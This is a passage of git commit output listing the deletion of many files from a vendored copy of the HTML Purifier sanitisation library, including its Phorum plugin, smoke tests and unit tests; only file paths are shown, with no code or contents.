classes/security/htmlpurifier/plugins/phorum/README delete mode 100644 classes/security/htmlpurifier/plugins/phorum/config.default.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/htmlpurifier.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/htmlpurifier/LICENSE delete mode 100644 classes/security/htmlpurifier/plugins/phorum/htmlpurifier/README delete mode 100644 classes/security/htmlpurifier/plugins/phorum/info.txt delete mode 100644 classes/security/htmlpurifier/plugins/phorum/init-config.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/migrate.bbcode.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/settings.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/settings/form.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs-form.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/settings/migrate-sigs.php delete mode 100644 classes/security/htmlpurifier/plugins/phorum/settings/save.php delete mode 100644 classes/security/htmlpurifier/release1-update.php delete mode 100644 classes/security/htmlpurifier/release2-tag.php delete mode 100644 classes/security/htmlpurifier/smoketests/all.php delete mode 100644 classes/security/htmlpurifier/smoketests/attrTransform.php delete mode 100644 classes/security/htmlpurifier/smoketests/attrTransform.xml delete mode 100644 classes/security/htmlpurifier/smoketests/basic.php delete mode 100644 classes/security/htmlpurifier/smoketests/basic/allElements.css delete mode 100644 classes/security/htmlpurifier/smoketests/basic/allElements.html delete mode 100644 classes/security/htmlpurifier/smoketests/basic/legacy.css delete mode 100644 classes/security/htmlpurifier/smoketests/basic/legacy.html delete mode 100644 classes/security/htmlpurifier/smoketests/cacheConfig.php delete mode 100644 classes/security/htmlpurifier/smoketests/common.php delete mode 100644 classes/security/htmlpurifier/smoketests/configForm.php delete mode 100644 classes/security/htmlpurifier/smoketests/dataScheme.php delete mode 100644 classes/security/htmlpurifier/smoketests/extractStyleBlocks.php delete mode 100644 classes/security/htmlpurifier/smoketests/img.png delete mode 100644 classes/security/htmlpurifier/smoketests/innerHTML.html delete mode 100644 classes/security/htmlpurifier/smoketests/innerHTML.js delete mode 100644 classes/security/htmlpurifier/smoketests/preserveYouTube.php delete mode 100644 classes/security/htmlpurifier/smoketests/printDefinition.php delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Directive.Allowed.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Directive.Deprecated.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Directive.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.bool.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.float.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.hash.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.int.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.istring.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.itext.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.list.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.lookup.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.mixed.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.nullbool.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.nullstring.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.string.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.text.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/Type.txt delete mode 100644 classes/security/htmlpurifier/smoketests/test-schema/info.ini delete mode 100644 classes/security/htmlpurifier/smoketests/variableWidthAttack.php delete mode 100644 classes/security/htmlpurifier/smoketests/xssAttacks.php delete mode 100644 classes/security/htmlpurifier/smoketests/xssAttacks.xml delete mode 100644 classes/security/htmlpurifier/test-settings.sample.php delete mode 100644 classes/security/htmlpurifier/tests/CliTestCase.php delete mode 100644 classes/security/htmlpurifier/tests/Debugger.php delete mode 100644 classes/security/htmlpurifier/tests/FSTools/FileSystemHarness.php delete mode 100644 classes/security/htmlpurifier/tests/FSTools/FileTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/LengthTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ListStyleTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/MultipleTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/NumberTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/PercentageTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/TextDecorationTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/URITest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/CSSTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/EnumTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/BoolTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ClassTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/ColorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/FrameTargetTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/IDTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LengthTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/LinkTypesTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/MultiLengthTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/NmtokensTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/HTML/PixelsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/IntegerTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/LangTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/SwitchTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/TextTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/Email/SimpleCheckTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/EmailHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/HostTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv4Test.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URI/IPv6Test.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDef/URITest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/OptionalTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/RequiredTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/StrictBlockquoteTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/TableTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ChildDefHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ComplexHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/InterchangeTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesAliasCollision.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/aliasesDirectiveCollision.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedIsString.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/allowedNotEmpty.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultIsAllowed.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultNullWithAllowed.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/defaultType.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/descriptionNotEmpty.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/ignoreNamespace.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeDefined.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeExists.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithAllowedIsStringType.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/typeWithValueAliasesIsStringType.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/unique.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasIsString.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesAliasNotAllowed.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesNotAliasSelf.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealAllowed.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/Validator/directive/valueAliasesRealIsString.vtest delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorAtomTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchema/ValidatorTestCase.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigSchemaTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigTest-create.ini delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigTest-finalize.ini delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigTest-loadIni.ini delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ConfigTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ContextTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/CleanupTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCache/Decorator/MemoryTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCache/DecoratorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCache/SerializerTest/README delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCacheFactoryTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCacheHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionCacheTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DefinitionTestable.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/DoctypeRegistryTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ElementDefTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/EncoderTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/EntityLookupTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/EntityParserTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ErrorCollectorEMock.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ErrorCollectorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/ErrorsHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/GeneratorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLDefinitionTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/FormsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/ImageTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/NameTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/NofollowTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/ObjectTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/ProprietaryTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/RubyTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeEmbedTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeObjectTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/ScriptingTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/id-name-mix.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-list-loop.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/inline-wraps-block.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/list-nesting.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/munge-extra.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/munge.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/name.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-googlemaps.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-invalid.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe-youtube.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-iframe.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed-munge.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/safe-object-embed.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/script-bare.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/script-cdata.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/script-comment.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/script-dbl-comment.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/script-ideal.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/secure-munge.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-preserve-yen.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/shift-jis-remove-yen.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote-with-inline.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-blockquote.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/strict-underline.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/tidy-background.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-required.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments-table.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/trusted-comments.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/HTMLT/whitespace-preserve.htmlt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Harness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/IDAccumulatorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Injector/AutoParagraphTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Injector/DisplayLinkURITest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Injector/LinkifyTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Injector/PurifierLinkifyTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Injector/RemoveEmptyTest.php delete mode 100755 classes/security/htmlpurifier/tests/HTMLPurifier/Injector/RemoveSpansWithoutAttributesTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Injector/SafeObjectTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/InjectorHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/LanguageFactoryTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/LanguageTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/LengthTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLexTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Lexer/DirectLex_ErrorsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/LexerTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/domxml.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/func.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/kses/basic.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_autoload.inc delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/_no-autoload.inc delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-includes.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-autoload.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload-default.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-with-spl-autoload.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-autoload.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto-without-spl-with-autoload.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/auto.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/error-auto-with-spl-nonstatic-autoload.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes-autoload.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/path-includes.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/safe-includes.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-autoload.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone-with-prefix.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/loading/standalone.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/stub.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/utf8.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PHPT/ze1_compatibility_mode.phpt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PercentEncoderTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/PropertyListTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/SimpleTest/Reporter.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/SimpleTest/TextReporter.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/CompositeTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/CoreTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/ErrorsHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/FixNestingTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjectorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_TidyTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributesTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_IDTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/Strategy/ValidateAttributes_TidyTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StrategyHarness.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StringHashParser/AppendMultiline.txt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StringHashParser/Default.txt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StringHashParser/Multi.txt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StringHashParser/OverrideSingle.txt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StringHashParser/Simple.txt delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StringHashParserTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/StringHashTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/TagTransformTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/TokenFactoryTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/TokenTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIDefinitionTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalResourcesTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableExternalTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIFilter/DisableResourcesTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIFilter/HostBlacklistTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIFilter/MakeAbsoluteTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIFilter/MungeTest.php delete mode 100644 classes/security/htmlpurifier/tests/HTMLPurifier/URIFilterHarness.php delete mode 100644 